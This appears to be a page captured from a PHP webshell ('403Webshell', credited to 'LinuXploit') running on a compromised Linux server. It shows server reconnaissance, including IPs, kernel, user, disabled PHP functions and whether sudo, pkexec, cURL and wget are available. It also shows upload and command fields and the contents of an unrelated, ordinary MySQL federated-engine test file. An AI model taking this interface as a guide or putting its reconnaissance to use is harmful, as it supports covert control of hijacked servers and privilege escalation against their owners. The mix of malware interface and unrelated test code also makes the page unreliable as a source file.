403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.106.238
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/federated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/federated/federated_archive.test
source include/have_archive.inc;
source suite/federated/include/federated.inc;


connection slave;
--disable_warnings
DROP TABLE IF EXISTS federated.archive_table;
--enable_warnings

CREATE TABLE federated.archive_table (
  `id` int(4) NOT NULL,
  `name` varchar(54) default NULL
  ) ENGINE=ARCHIVE DEFAULT CHARSET=latin1;


connection master;
--disable_warnings
DROP TABLE IF EXISTS federated.t1;
--enable_warnings

--replace_result $SLAVE_MYPORT SLAVE_PORT
eval CREATE TABLE federated.t1 (
    `id` int(4) NOT NULL,
    `name` varchar(54) default NULL,
    PRIMARY KEY (`id`)
    )
  ENGINE="FEDERATED" DEFAULT CHARSET=latin1
  CONNECTION='mysql://[email protected]:$SLAVE_MYPORT/federated/archive_table';

INSERT INTO federated.t1 (id, name) VALUES (1, 'foo');
INSERT INTO federated.t1 (id, name) VALUES (2, 'bar');

SELECT * FROM federated.t1;

--error 1296
DELETE FROM federated.t1 WHERE id = 1;

SELECT * FROM federated.t1;


--error 1296
UPDATE federated.t1 SET name='baz' WHERE id = 1;

SELECT * FROM federated.t1;


# --error 1296
# TRUNCATE federated.t1;
#
# SELECT * from federated.t1;

DROP TABLE federated.t1;
connection slave;
DROP TABLE federated.archive_table;


source suite/federated/include/federated_cleanup.inc;


Youez - 2016 - github.com/yon3zu
LinuXploit